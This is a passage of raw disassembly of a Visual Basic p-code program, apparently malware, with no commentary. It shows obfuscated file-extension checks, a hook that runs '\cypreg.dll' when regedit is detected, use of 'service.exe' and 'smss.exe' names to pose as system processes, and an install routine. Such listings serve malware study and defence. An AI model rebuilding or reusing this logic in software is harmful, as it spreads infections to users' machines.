00410e86CStrVarTmp
00410e87FStStr var_1E8
00410e8aFFreeVar var_194, var_1B4
00410e91LargeBos 25
00410e93FLdRfVar var_1E4
00410e96CStrVar
00410e98PopTmpLdAdStr 65028
00410e9cFLdRfVar var_134
00410e9fImpAdCallFPR4 pool#36, 8
00410ea4FFree1Str var_1FC
00410ea7FFree1Var var_134
00410eaaLargeBos 19
00410eacILdRf var_1E8
00410eafFStStrCopy var_1FC
00410eb2FLdRfVar var_1FC
00410eb5ImpAdCallFPR4 pool#37, 4
00410ebaFFree1Str var_1FC
00410ebdLargeBos 20
00410ebfFLdRfVar var_1E4
00410ec2FnLenVar 65228
00410ec6LitVarI2 65212, 6
00410ecbHardType
00410eccGtVarBool
00410eceBranchF 0x410f25
00410ed1LargeBos 35
00410ed3ImpAdLdI2 pool#38
00410ed6LitI2_Byte -1
00410ed8EqI2
00410ed9CVarBoolI2 65196
00410eddImpAdLdRf pool#39
00410ee0LitVar_TRUE 65212
00410ee3HardType
00410ee4EqVar 65228
00410ee8OrVar 65132
00410eecCBoolVarNull
00410eeeFFree1Var var_154
00410ef1BranchF 0x410f0d
00410ef4LargeBos 7
00410ef6LitI2_Byte 0
00410ef8ImpAdStI2 pool#38
00410efbLargeBos 10
00410efdLitVar_FALSE 65212
00410f01ImpAdStVar pool#39
00410f05LargeBos 5
00410f07Branch 0x410f3a
00410f0aBranch 0x410f20
00410f0d
00410f0dloc_410f0d:
00410f0dLargeBos 2
00410f0fLargeBos 10
00410f11LitVar_FALSE 65212
00410f15ImpAdStVar pool#39
00410f19LargeBos 7
00410f1bLitI2_Byte 0
00410f1dImpAdStI2 pool#38
00410f20
00410f20loc_410f20:
00410f20LargeBos 2
00410f22Branch 0x410f2c
00410f25
00410f25loc_410f25:
00410f25LargeBos 2
00410f27LargeBos 5
00410f29Branch 0x410f3a
00410f2c
00410f2cloc_410f2c:
00410f2cLargeBos 2
00410f2eLargeBos 10
00410f30FLdRfVar var_1E4
00410f33ImpAdCallFPR4 pool#40, 4
00410f38
00410f38loc_410f38:
00410f38LargeBos 2
00410f3a
00410f3aloc_410f3a:
00410f3aLargeBos 7
00410f3cImpAdCallFPR4 rtcDoEvents, 0
00410f41LargeBos 5
00410f43Branch 0x410c02
00410f46
00410f46loc_410f46:
00410f46LargeBos 13
00410f48FLdRfVar var_A4
00410f4bLdPrVar
00410f4dLateMemCall 30, 0
00410f53LargeBos 0
00410f55ExitProc
00410af8

00410f56
00410f56 struct PCodePad
00410f56 01 00 ..
00410f58
00410f58 struct ProcDscInfo
00410f58 lpObjectInfo uint32 0x4041b8
00410f5c wArgSize int 8
00410f5e wFrameSize int 376
00410f60 wPCodeBackOffset uint16 0x410af8
00410f62 wTotalSize uint16 0x0060
00410f64 wProcOptFlags uint16 0x0000
00410f66 wReserved uint16 0x0000
00410f68 wBosSkipTableOff uint16 0x0000
00410f6a wBaseIfaceSlot uint16 0x0013
00410f6c wReserved2 uint16 0x0000
00410f6e wReserved3 uint16 0x0000
00410f70
00410f70 48 00 00 00 00 00 0f 00 00 00 00 00 18 fe 01 00 H...............
00410f80 5c fe 02 00 ec fe 02 00 08 fe 02 00 3c ff 02 00 \...........<...
00410f90 dc fe 02 00 1c ff 02 00 6c ff 02 00 0c ff 02 00 ........l.......
00410fa0 2c ff 02 00 1c fe 02 00 fc fe 02 00 7c fe 02 00 ,...........|...
00410fb0 4c ff 02 00 5c ff 02 00 24 00 00 00 00 00 06 00 L...\...$.......
00410fc0 00 00 00 00 04 fe 01 00 cc fe 02 00 6c fe 02 00 ............l...
00410fd0 4c fe 02 00 3c fe 02 00 2c fe 02 00 L...<...,...

00410fdc
00410fdcfn_410fdc:
00410fdcLargeBos 2
00410fdeLargeBos 5
00410fe0OnErrorGoto 65535
00410fe3LargeBos 104
00410fe5LitI4 3
00410feaILdRf arg_C
00410fedCVarRef 65388, 16392
00410ff2FLdRfVar var_A4
00410ff5ImpAdCallFPR4 rtcRightCharVar, 12
00410ffaFLdRfVar var_A4
00410ffdFLdRfVar var_B4
00411000ImpAdCallFPR4 rtcUpperCaseVar, 8
00411005FLdRfVar var_B4
00411008FStVar 65340
0041100cFFree1Var var_A4
0041100fLargeBos 39
00411011FLdRfVar var_C4
00411014LitVarStr var_94, "zip"
00411019FStVarCopyObj var_A4
0041101cFLdRfVar var_A4
0041101fFLdRfVar var_B4
00411022ImpAdCallFPR4 rtcUpperCaseVar, 8
00411027FLdRfVar var_B4
0041102aEqVarBool
0041102cFFreeVar var_A4, var_B4
00411033BranchF 0x41104b
00411036LargeBos 21
00411038LitI2_Byte 0
0041103aPopTmpLdAd2 65338
0041103dILdRf arg_C
00411040FLdRfVar var_A4
00411043ImpAdCallFPR4 pool#52, 12
00411048FFree1Var var_A4
0041104b
0041104bloc_41104b:
0041104bLargeBos 2
0041104dLargeBos 11
0041104fILdI2 arg_10
00411052LitI2_Byte -1
00411054EqI2
00411055BranchF 0x411407
00411058SelectCaseByte 0
0041105aLitI4 3
0041105fILdRf arg_C
00411062CVarRef 65388, 16392
00411067FLdRfVar var_A4
0041106aImpAdCallFPR4 rtcRightCharVar, 12
0041106fFLdRfVar var_A4
00411072FLdRfVar var_B4
00411075ImpAdCallFPR4 rtcUpperCaseVar, 8
0041107aFLdRfVar var_B4
0041107dLitVarStr var_D8, "}q}"
00411082FStVarCopyObj var_E8
00411085FLdRfVar var_E8
00411088ImpAdCallI2 pool#54, 4
0041108dCVarStr var_F8
00411090FLdRfVar var_108
00411093ImpAdCallFPR4 rtcUpperCaseVar, 8
00411098FLdRfVar var_108
0041109bEqVar 65256
0041109fLitI4 3
004110a4ILdRf arg_C
004110a7CVarRef 65240, 16392
004110acFLdRfVar var_138
004110afImpAdCallFPR4 rtcRightCharVar, 12
004110b4FLdRfVar var_138
004110b7FLdRfVar var_148
004110baImpAdCallFPR4 rtcUpperCaseVar, 8
004110bfFLdRfVar var_148
004110c2LitVarStr var_158, "}de"
004110c7FStVarCopyObj var_168
004110caFLdRfVar var_168
004110cdImpAdCallI2 pool#54, 4
004110d2CVarStr var_178
004110d5FLdRfVar var_188
004110d8ImpAdCallFPR4 rtcUpperCaseVar, 8
004110ddFLdRfVar var_188
004110e0EqVar 65128
004110e4OrVar 65112
004110e8LitI4 3
004110edILdRf arg_C
004110f0CVarRef 65096, 16392
004110f5FLdRfVar var_1C8
004110f8ImpAdCallFPR4 rtcRightCharVar, 12
004110fdFLdRfVar var_1C8
00411100FLdRfVar var_1D8
00411103ImpAdCallFPR4 rtcUpperCaseVar, 8
00411108FLdRfVar var_1D8
0041110bLitVarStr var_1E8, "hzy"
00411110FStVarCopyObj var_1F8
00411113FLdRfVar var_1F8
00411116ImpAdCallI2 pool#54, 4
0041111bCVarStr var_208
0041111eFLdRfVar var_218
00411121ImpAdCallFPR4 rtcUpperCaseVar, 8
00411126FLdRfVar var_218
00411129EqVar 64984
0041112dOrVar 64968
00411131LitI4 3
00411136ILdRf arg_C
00411139CVarRef 64952, 16392
0041113eFLdRfVar var_258
00411141ImpAdCallFPR4 rtcRightCharVar, 12
00411146FLdRfVar var_258
00411149FLdRfVar var_268
0041114cImpAdCallFPR4 rtcUpperCaseVar, 8
00411151FLdRfVar var_268
00411154LitVarStr var_278, "yay"
00411159FStVarCopyObj var_288
0041115cFLdRfVar var_288
0041115fImpAdCallI2 pool#54, 4
00411164CVarStr var_298
00411167FLdRfVar var_2A8
0041116aImpAdCallFPR4 rtcUpperCaseVar, 8
0041116fFLdRfVar var_2A8
00411172EqVar 64840
00411176OrVar 64824
0041117aLitI4 3
0041117fILdRf arg_C
00411182CVarRef 64808, 16392
00411187FLdRfVar var_2E8
0041118aImpAdCallFPR4 rtcRightCharVar, 12
0041118fFLdRfVar var_2E8
00411192FLdRfVar var_2F8
00411195ImpAdCallFPR4 rtcUpperCaseVar, 8
0041119aFLdRfVar var_2F8
0041119dLitVarStr var_308, "a}d"
004111a2FStVarCopyObj var_318
004111a5FLdRfVar var_318
004111a8ImpAdCallI2 pool#54, 4
004111adCVarStr var_328
004111b0FLdRfVar var_338
004111b3ImpAdCallFPR4 rtcUpperCaseVar, 8
004111b8FLdRfVar var_338
004111bbEqVar 64696
004111bfOrVar 64680
004111c3LitI4 3
004111c8ILdRf arg_C
004111cbCVarRef 64664, 16392
004111d0FLdRfVar var_378
004111d3ImpAdCallFPR4 rtcRightCharVar, 12
004111d8FLdRfVar var_378
004111dbFLdRfVar var_388
004111deImpAdCallFPR4 rtcUpperCaseVar, 8
004111e3FLdRfVar var_388
004111e6LitVarStr var_398, "{}o"
004111ebFStVarCopyObj var_3A8
004111eeFLdRfVar var_3A8
004111f1ImpAdCallI2 pool#54, 4
004111f6CVarStr var_3B8
004111f9FLdRfVar var_3C8
004111fcImpAdCallFPR4 rtcUpperCaseVar, 8
00411201FLdRfVar var_3C8
00411204EqVar 64552
00411208OrVar 64536
0041120cLitI4 3
00411211ILdRf arg_C
00411214CVarRef 64520, 16392
00411219FLdRfVar var_408
0041121cImpAdCallFPR4 rtcRightCharVar, 12
00411221FLdRfVar var_408
00411224FLdRfVar var_418
00411227ImpAdCallFPR4 rtcUpperCaseVar, 8
0041122cFLdRfVar var_418
0041122fLitVarStr var_428, "lde"
00411234FStVarCopyObj var_438
00411237FLdRfVar var_438
0041123aImpAdCallI2 pool#54, 4
0041123fCVarStr var_448
00411242FLdRfVar var_458
00411245ImpAdCallFPR4 rtcUpperCaseVar, 8
0041124aFLdRfVar var_458
0041124dEqVar 64408
00411251OrVar 64392
00411255LitI4 3
0041125aILdRf arg_C
0041125dCVarRef 64376, 16392
00411262FLdRfVar var_498
00411265ImpAdCallFPR4 rtcRightCharVar, 12
0041126aFLdRfVar var_498
0041126dFLdRfVar var_4A8
00411270ImpAdCallFPR4 rtcUpperCaseVar, 8
00411275FLdRfVar var_4A8
00411278LitVarStr var_4B8, "'ye"
0041127dFStVarCopyObj var_4C8
00411280FLdRfVar var_4C8
00411283ImpAdCallI2 pool#54, 4
00411288CVarStr var_4D8
0041128bFLdRfVar var_4E8
0041128eImpAdCallFPR4 rtcUpperCaseVar, 8
00411293FLdRfVar var_4E8
00411296EqVar 64264
0041129aOrVar 64248
0041129eLitI4 3
004112a3ILdRf arg_C
004112a6CVarRef 64232, 16392
004112abFLdRfVar var_528
004112aeImpAdCallFPR4 rtcRightCharVar, 12
004112b3FLdRfVar var_528
004112b6FLdRfVar var_538
004112b9ImpAdCallFPR4 rtcUpperCaseVar, 8
004112beFLdRfVar var_538
004112c1LitVarStr var_548, "zyq"
004112c6FStVarCopyObj var_558
004112c9FLdRfVar var_558
004112ccImpAdCallI2 pool#54, 4
004112d1CVarStr var_568
004112d4FLdRfVar var_578
004112d7ImpAdCallFPR4 rtcUpperCaseVar, 8
004112dcFLdRfVar var_578
004112dfEqVar 64120
004112e3OrVar 64104
004112e7LitI4 3
004112ecILdRf arg_C
004112efCVarRef 64088, 16392
004112f4FLdRfVar var_5B8
004112f7ImpAdCallFPR4 rtcRightCharVar, 12
004112fcFLdRfVar var_5B8
004112ffFLdRfVar var_5C8
00411302ImpAdCallFPR4 rtcUpperCaseVar, 8
00411307FLdRfVar var_5C8
0041130aLitVarStr var_5D8, "hzy"
0041130fFStVarCopyObj var_5E8
00411312FLdRfVar var_5E8
00411315ImpAdCallI2 pool#54, 4
0041131aCVarStr var_5F8
0041131dFLdRfVar var_608
00411320ImpAdCallFPR4 rtcUpperCaseVar, 8
00411325FLdRfVar var_608
00411328EqVar 63976
0041132cOrVar 63960
00411330LitI4 3
00411335ILdRf arg_C
00411338CVarRef 63944, 16392
0041133dFLdRfVar var_648
00411340ImpAdCallFPR4 rtcRightCharVar, 12
00411345FLdRfVar var_648
00411348FLdRfVar var_658
0041134bImpAdCallFPR4 rtcUpperCaseVar, 8
00411350FLdRfVar var_658
00411353LitVarStr var_668, "'cz"
00411358FStVarCopyObj var_678
0041135bFLdRfVar var_678
0041135eImpAdCallI2 pool#54, 4
00411363CVarStr var_688
00411366FLdRfVar var_698
00411369ImpAdCallFPR4 rtcUpperCaseVar, 8
0041136eFLdRfVar var_698
00411371EqVar 63832
00411375OrVar 63816
00411379CBoolVarNull
0041137bFFreeVar var_408, var_438, var_448, var_418, var_458, var_498, var_4C8, var_4D8, var_4A8, var_4E8, var_528, var_558, var_568, var_538, var_578, var_5B8, var_5E8, var_5F8, var_5C8, var_608, var_648, var_678, var_688, var_658, var_698, var_A4, var_E8, var_F8, var_B4, var_108, var_138, var_168, var_178, var_148, var_188, var_1C8, var_1F8, var_208, var_1D8, var_218, var_258, var_288, var_298, var_268, var_2A8, var_2E8, var_318, var_328, var_2F8, var_338, var_378, var_3A8, var_3B8, var_388, var_3C8
004113ecBranchF 0x411405
004113efLargeBos 22
004113f1ILdI4 arg_C
004113f4CVarStr var_94
004113f7FStVarCopyObj var_A4
004113faFLdRfVar var_A4
004113fdImpAdCallFPR4 pool#64, 4
00411402FFree1Var var_A4
00411405
00411405loc_411405:
00411405LargeBos 2
00411407
00411407loc_411407:
00411407LargeBos 2
00411409LargeBos 0
0041140bExitProc
00410fdc

0041140c
0041140c struct ProcDscInfo
0041140c lpObjectInfo uint32 0x4041b8
00411410 wArgSize int 12
00411412 wFrameSize int 1588
00411414 wPCodeBackOffset uint16 0x410fdc
00411416 wTotalSize uint16 0x0028
00411418 wProcOptFlags uint16 0x0000
0041141a wReserved uint16 0x0000
0041141c wBosSkipTableOff uint16 0x0164
0041141e wBaseIfaceSlot uint16 0x0013
00411420 wReserved2 uint16 0x0000
00411422 wReserved3 uint16 0x0000
00411424
00411424 10 00 00 00 00 00 01 00 00 00 00 00 ............
00411430 3c ff 02 00 3c 01 00 00 00 00 4c 00 00 00 00 00 <...<.....L.....
00411440 5c ff 02 00 4c ff 02 00 18 ff 02 00 08 ff 02 00 \...L...........
00411450 f8 fe 02 00 e8 fe 02 00 c8 fe 02 00 b8 fe 02 00 ................
00411460 98 fe 02 00 88 fe 02 00 78 fe 02 00 68 fe 02 00 ........x...h...
00411470 58 fe 02 00 38 fe 02 00 28 fe 02 00 08 fe 02 00 X...8...(.......
00411480 f8 fd 02 00 e8 fd 02 00 d8 fd 02 00 c8 fd 02 00 ................
00411490 a8 fd 02 00 98 fd 02 00 78 fd 02 00 68 fd 02 00 ........x...h...
004114a0 58 fd 02 00 48 fd 02 00 38 fd 02 00 18 fd 02 00 X...H...8.......
004114b0 08 fd 02 00 e8 fc 02 00 d8 fc 02 00 c8 fc 02 00 ................
004114c0 b8 fc 02 00 a8 fc 02 00 88 fc 02 00 78 fc 02 00 ............x...
004114d0 58 fc 02 00 48 fc 02 00 38 fc 02 00 28 fc 02 00 X...H...8...(...
004114e0 18 fc 02 00 f8 fb 02 00 e8 fb 02 00 c8 fb 02 00 ................
004114f0 b8 fb 02 00 a8 fb 02 00 98 fb 02 00 88 fb 02 00 ................
00411500 68 fb 02 00 58 fb 02 00 38 fb 02 00 28 fb 02 00 h...X...8...(...
00411510 18 fb 02 00 08 fb 02 00 f8 fa 02 00 d8 fa 02 00 ................
00411520 c8 fa 02 00 a8 fa 02 00 98 fa 02 00 88 fa 02 00 ................
00411530 78 fa 02 00 68 fa 02 00 48 fa 02 00 38 fa 02 00 x...h...H...8...
00411540 18 fa 02 00 08 fa 02 00 f8 f9 02 00 e8 f9 02 00 ................
00411550 d8 f9 02 00 b8 f9 02 00 a8 f9 02 00 88 f9 02 00 ................
00411560 78 f9 02 00 68 f9 02 00 58 f9 02 00 48 f9 02 00 x...h...X...H...
00411570 01 00 97 03 ....

00411574
00411574FrmMain.Form#6:
00411574FLdRfVar var_88
00411577ImpAdLdRf pool#0
0041157aNewIfNullPr 1
0041157dVCallHresult 88, 2
00411582FLdRfVar var_90
00411585FLdRfVar var_8C
00411588ImpAdLdRf pool#3
0041158bNewIfNullPr 4
0041158eVCallHresult 20, 5
00411593FLdPr var_8C
00411596VCallHresult 80, 6
0041159bFLdRfVar var_98
0041159eFLdRfVar var_94
004115a1ImpAdLdRf pool#3
004115a4NewIfNullPr 4
004115a7VCallHresult 20, 5
004115acFLdPr var_94
004115afVCallHresult 88, 6
004115b4LitI4 1
004115b9LitStr ""
004115bcFLdRfVar var_AC
004115bfCStr2Ansi
004115c0ILdRf var_AC
004115c3LitStr ""
004115c6FLdRfVar var_A8
004115c9CStr2Ansi
004115caILdRf var_A8
004115cdILdRf var_90
004115d0ILdRf var_98
004115d3ConcatStr
004115d4FStStrNoPop var_A0
004115d7FLdRfVar var_A4
004115daCStr2Ansi
004115dbILdRf var_A4
004115deLitStr "explore"
004115e1FLdRfVar var_9C
004115e4CStr2Ansi
004115e5ILdRf var_9C
004115e8ILdRf var_88
004115ebImpAdCallFPR4 fn_405f28, 24
004115f0SetLastSystemError
004115f1FFreeStr var_90, var_98, var_9C, var_A0, var_A4, var_A8, var_AC
00411602FFreeAd var_8C, var_94
00411609FLdRfVar var_AE
0041160cFLdRfVar var_8C
0041160fImpAdLdRf pool#3
00411612NewIfNullPr 4
00411615VCallHresult 20, 5
0041161aFLdPr var_8C
0041161dVCallHresult 104, 6
00411622FLdI2 var_AE
00411625FFree1Ad var_8C
00411628BranchF 0x41162d
0041162bEnd
0041162d
0041162dloc_41162d:
0041162dLitI4 255
00411632FLdPr arg_8
00411635MemLdStr arg_34
00411638FLdRfVar var_90
0041163bCStr2Ansi
0041163cILdRf var_90
0041163fImpAdCallI2 fn_405f98, 8
00411644FStR4 65400
00411647SetLastSystemError
00411648ILdRf var_90
0041164bFLdRfVar var_98
0041164eCStr2Uni
00411650ILdRf var_98
00411653FLdPr arg_8
00411656MemLdStr arg_34
00411659StFixedStr 0
0041165cILdRf var_88
0041165fFLdPr arg_8
00411662MemLdStr arg_34
00411665FStStrCopy var_9C
00411668FLdRfVar var_9C
0041166bCVarRef 65344, 16392
00411670FLdRfVar var_D0
00411673ImpAdCallFPR4 rtcLeftCharVar, 12
00411678ILdRf var_9C
0041167bFLdPr arg_8
0041167eMemLdStr arg_34
00411681StFixedStr 0
00411684FLdRfVar var_D0
00411687ImpAdStVar pool#12
0041168bFFreeStr var_90, var_98, var_9C
00411694LitI4 255
00411699FLdPr arg_8
0041169cMemLdStr arg_34
0041169fFLdRfVar var_90
004116a2CStr2Ansi
004116a3ILdRf var_90
004116a6ImpAdCallI2 fn_405fe4, 8
004116abFStR4 65400
004116aeSetLastSystemError
004116afILdRf var_90
004116b2FLdRfVar var_98
004116b5CStr2Uni
004116b7ILdRf var_98
004116baFLdPr arg_8
004116bdMemLdStr arg_34
004116c0StFixedStr 0
004116c3ILdRf var_88
004116c6FLdPr arg_8
004116c9MemLdStr arg_34
004116ccFStStrCopy var_9C
004116cfFLdRfVar var_9C
004116d2CVarRef 65344, 16392
004116d7FLdRfVar var_D0
004116daImpAdCallFPR4 rtcLeftCharVar, 12
004116dfILdRf var_9C
004116e2FLdPr arg_8
004116e5MemLdStr arg_34
004116e8StFixedStr 0
004116ebFLdRfVar var_D0
004116eeCStrVarTmp
004116efImpAdStStr pool#14
004116f3FFreeStr var_90, var_98, var_9C
004116fcFFree1Var var_D0
004116ffFLdRfVar var_90
00411702FLdRfVar var_8C
00411705ImpAdLdRf pool#3
00411708NewIfNullPr 4
0041170bVCallHresult 20, 5
00411710FLdPr var_8C
00411713VCallHresult 88, 6
00411718FLdZeroAd var_90
0041171bCVarStr var_D0
0041171eFLdRfVar var_E0
00411721ImpAdCallFPR4 rtcUpperCaseVar, 8
00411726FLdRfVar var_E0
00411729LitVarStr var_C0, "regedit"
0041172eFStVarCopyObj var_F0
00411731FLdRfVar var_F0
00411734FLdRfVar var_100
00411737ImpAdCallFPR4 rtcUpperCaseVar, 8
0041173cFLdRfVar var_100
0041173fEqVarBool
00411741FFree1Ad var_8C
00411744FFreeVar var_D0, var_F0, var_E0, var_100
0041174fBranchF 0x41176e
00411752LitI4 2
00411757ImpAdLdRf pool#12
0041175aLitVarStr var_C0, "\\cypreg.dll"
0041175fConcatVar var_D0
00411763ImpAdCallFPR4 rtcShell, 8
00411768FStFPR8 65256
0041176bFFree1Var var_D0
0041176e
0041176eloc_41176e:
0041176eLitI2 255
00411771PopTmpLdAd2 65254
00411774LitI2_Byte 0
00411776PopTmpLdAd2 65362
00411779ImpAdCallI2 pool#19, 8
0041177eCI4UI1
0041177fFLdRfVar var_D0
00411782ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411787FLdRfVar var_D0
0041178aLitI2 255
0041178dPopTmpLdAd2 65250
00411790LitI2_Byte 0
00411792PopTmpLdAd2 65252
00411795ImpAdCallI2 pool#19, 8
0041179aCI4UI1
0041179bFLdRfVar var_E0
0041179eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004117a3FLdRfVar var_E0
004117a6AddVar 65296
004117aaLitI2 255
004117adPopTmpLdAd2 65246
004117b0LitI2_Byte 0
004117b2PopTmpLdAd2 65248
004117b5ImpAdCallI2 pool#19, 8
004117baCI4UI1
004117bbFLdRfVar var_100
004117beImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004117c3FLdRfVar var_100
004117c6AddVar 65264
004117caLitI2 255
004117cdPopTmpLdAd2 65242
004117d0LitI2_Byte 0
004117d2PopTmpLdAd2 65244
004117d5ImpAdCallI2 pool#19, 8
004117daCI4UI1
004117dbFLdRfVar var_138
004117deImpAdCallFPR4 rtcVarBstrFromAnsi, 8
004117e3FLdRfVar var_138
004117e6AddVar 65208
004117eaLitI2 255
004117edPopTmpLdAd2 65204
004117f0LitI2_Byte 0
004117f2PopTmpLdAd2 65206
004117f5ImpAdCallI2 pool#19, 8
004117faCI4UI1
004117fbFLdRfVar var_15C
004117feImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411803FLdRfVar var_15C
00411806AddVar 65172
0041180aLitI2 255
0041180dPopTmpLdAd2 65168
00411810LitI2_Byte 0
00411812PopTmpLdAd2 65170
00411815ImpAdCallI2 pool#19, 8
0041181aCI4UI1
0041181bFLdRfVar var_180
0041181eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411823FLdRfVar var_180
00411826AddVar 65136
0041182aLitI2 255
0041182dPopTmpLdAd2 65132
00411830LitI2_Byte 0
00411832PopTmpLdAd2 65134
00411835ImpAdCallI2 pool#19, 8
0041183aCI4UI1
0041183bFLdRfVar var_1A4
0041183eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411843FLdRfVar var_1A4
00411846AddVar 65100
0041184aLitI2 255
0041184dPopTmpLdAd2 65096
00411850LitI2_Byte 0
00411852PopTmpLdAd2 65098
00411855ImpAdCallI2 pool#19, 8
0041185aCI4UI1
0041185bFLdRfVar var_1C8
0041185eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411863FLdRfVar var_1C8
00411866AddVar 65064
0041186aLitI2 255
0041186dPopTmpLdAd2 65060
00411870LitI2_Byte 0
00411872PopTmpLdAd2 65062
00411875ImpAdCallI2 pool#19, 8
0041187aCI4UI1
0041187bFLdRfVar var_1EC
0041187eImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00411883FLdRfVar var_1EC
00411886AddVar 65028
0041188aCStrVarVal 65392
0041188eFLdPr arg_8
00411891VCallHresult 84, 2
00411896FFree1Str var_90
00411899FFreeVar var_D0, var_E0, var_F0, var_100, var_110, var_138, var_148, var_15C, var_16C, var_180, var_190, var_1A4, var_1B4, var_1C8, var_1D8, var_1EC, var_1FC
004118beLitStr "service.exe"
004118c1ImpAdStStrCopy pool#22
004118c5LitVarStr var_C0, "smss.exe"
004118caImpAdStVarCopy pool#24
004118ceThisVCallHresult 1784, 25
004118d3FLdRfVar var_90
004118d6FLdRfVar var_8C
004118d9ImpAdLdRf pool#3
004118dcNewIfNullPr 4
004118dfVCallHresult 20, 5
004118e4FLdPr var_8C
004118e7VCallHresult 88, 6
004118ecFLdZeroAd var_90
004118efCVarStr var_D0
004118f2FLdRfVar var_E0
004118f5ImpAdCallFPR4 rtcUpperCaseVar, 8
004118faFLdRfVar var_E0
004118fdFStVar 65012
00411901FFree1Ad var_8C
00411904FFree1Var var_D0
00411907FLdRfVar var_20C
0041190aLitVarStr var_C0, "system"
0041190fFStVarCopyObj var_D0
00411912FLdRfVar var_D0
00411915FLdRfVar var_E0
00411918ImpAdCallFPR4 rtcUpperCaseVar, 8
0041191dFLdRfVar var_E0
00411920EqVarBool
00411922FFreeVar var_D0, var_E0
00411929BranchF 0x411948
0041192cThisVCallHresult 1792, 25
00411931LitI2_Byte -1
00411933FLdPrThis
00411934VCallAd 776
00411937FStAdFunc var_8C
0041193aFLdPr var_8C
0041193dVCallHresult 92, 27
00411942FFree1Ad var_8C
00411945Branch 0x4119fb
00411948
00411948loc_411948:
00411948FLdRfVar var_20C
0041194bLitVarStr var_C0, "lsass"
00411950FStVarCopyObj var_D0
00411953FLdRfVar var_D0
00411956FLdRfVar var_E0
00411959ImpAdCallFPR4 rtcUpperCaseVar, 8
0041195eFLdRfVar var_E0
00411961EqVarBool
00411963FFreeVar var_D0, var_E0
0041196aBranchF 0x411975
0041196dImpAdCallFPR4 pool#29, 0
00411972Branch 0x4119fb
00411975
00411975loc_411975:
00411975FLdRfVar var_20C
00411978ImpAdLdRf pool#22
0041197bCVarRef 65344, 16392
00411980FLdRfVar var_D0
00411983ImpAdCallFPR4 rtcUpperCaseVar, 8
00411988FLdRfVar var_D0
0041198bEqVarBool
0041198dFFree1Var var_D0
00411990BranchF 0x4119c0
00411993FLdRfVar var_D0
00411996ImpAdCallFPR4 pool#30, 4
0041199bFFree1Var var_D0
0041199eFLdRfVar var_D0
004119a1ThisVCallHresult 1796, 25
004119a6FFree1Var var_D0
004119a9LitI2_Byte -1
004119abFLdPrThis
004119acVCallAd 776
004119afFStAdFunc var_8C
004119b2FLdPr var_8C
004119b5VCallHresult 92, 27
004119baFFree1Ad var_8C
004119bdBranch 0x4119fb
004119c0
004119c0loc_4119c0:
004119c0FLdRfVar var_20C
004119c3LitVarStr var_C0, "smss"
004119c8FStVarCopyObj var_D0
004119cbFLdRfVar var_D0
004119ceFLdRfVar var_E0
004119d1ImpAdCallFPR4 rtcUpperCaseVar, 8
004119d6FLdRfVar var_E0
004119d9EqVarBool
004119dbFFreeVar var_D0, var_E0
004119e2BranchF 0x4119fb
004119e5FLdRfVar var_D0
004119e8ThisVCallHresult 1816, 25
004119edFFree1Var var_D0
004119f0FLdRfVar var_D0
004119f3ImpAdCallFPR4 pool#32, 4
004119f8FFree1Var var_D0
004119fb
004119fbloc_4119fb:
004119fbLitI4 1
00411a00CStrI4
00411a02FStStr var_210
00411a05ImpAdLdI4 pool#33
00411a08FLdRfVar var_A0
00411a0bCStr2Ansi
00411a0cILdRf var_A0
00411a0fILdRf var_210
00411a12FLdRfVar var_9C
00411a15CStr2Ansi
00411a16ILdRf var_9C
00411a19LitStr "Ver"
00411a1cFLdRfVar var_98
00411a1fCStr2Ansi
00411a20ILdRf var_98
00411a23LitStr "xxx"
00411a26FLdRfVar var_90
00411a29CStr2Ansi
00411a2aILdRf var_90
00411a2dImpAdCallFPR4 fn_406288, 16
00411a32SetLastSystemError
00411a33ILdRf var_9C
00411a36FLdRfVar var_210
00411a39CStr2Uni
00411a3bILdRf var_A0
00411a3eImpAdLdRf pool#33
00411a41CStr2Uni
00411a43FFreeStr var_90, var_98, var_9C, var_A0
00411a4eImpAdLdI4 pool#33
00411a51FLdRfVar var_A0
00411a54CStr2Ansi
00411a55ILdRf var_A0
00411a58ILdRf var_210
00411a5bFLdRfVar var_9C
00411a5eCStr2Ansi
00411a5fILdRf var_9C
00411a62LitStr "Len"
00411a65FLdRfVar var_98
00411a68CStr2Ansi
00411a69ILdRf var_98
00411a6cLitStr "xxx"
00411a6fFLdRfVar var_90
00411a72CStr2Ansi
00411a73ILdRf var_90
00411a76ImpAdCallFPR4 fn_406288, 16
00411a7bSetLastSystemError
00411a7cILdRf var_9C
00411a7fFLdRfVar var_210
00411a82CStr2Uni
00411a84ILdRf var_A0
00411a87ImpAdLdRf pool#33
00411a8aCStr2Uni
00411a8cFFreeStr var_90, var_98, var_9C, var_A0
00411a97ExitProcHresult
00411574

00411a98
00411a98 struct ProcDscInfo
00411a98 lpObjectInfo uint32 0x405168
00411a9c wArgSize int 4
00411a9e wFrameSize int 396
00411aa0 wPCodeBackOffset uint16 0x411574
00411aa2 wTotalSize uint16 0x002c
00411aa4 wProcOptFlags uint16 0x0000
00411aa6 wReserved uint16 0x0000
00411aa8 wBosSkipTableOff uint16 0x0000
00411aaa wBaseIfaceSlot uint16 0x0013
00411aac wReserved2 uint16 0x0000
00411aae wReserved3 uint16 0x0000
00411ab0
00411ab0 14 00 00 00 00 00 02 00 00 00 00 00 f4 fd 02 00 ................
00411ac0 f0 fd 01 00 74 00 00 00 00 00 1a 00 00 00 00 00 ....t...........
00411ad0 70 ff 01 00 68 ff 01 00 64 ff 01 00 60 ff 01 00 p...h...d...`...
00411ae0 5c ff 01 00 58 ff 01 00 54 ff 01 00 74 ff 03 00 \...X...T...t...
00411af0 6c ff 03 00 30 ff 02 00 20 ff 02 00 10 ff 02 00 l...0... .......
00411b00 00 ff 02 00 f0 fe 02 00 c8 fe 02 00 b8 fe 02 00 ................
00411b10 a4 fe 02 00 94 fe 02 00 80 fe 02 00 70 fe 02 00 ............p...
00411b20 5c fe 02 00 4c fe 02 00 38 fe 02 00 28 fe 02 00 \...L...8...(...
00411b30 14 fe 02 00 04 fe 02 00 ........

00411b38
00411b38FrmMain.instal:
00411b38LargeBos 2
00411b3aLargeBos 5
00411b3cOnErrorGoto 65535
00411b3fLargeBos 29
00411b41LitI2_Byte 0
00411b43FLdRfVar var_C8
00411b46ImpAdLdRf pool#3
00411b49NewIfNullPr 4
00411b4cVCallHresult 20, 5
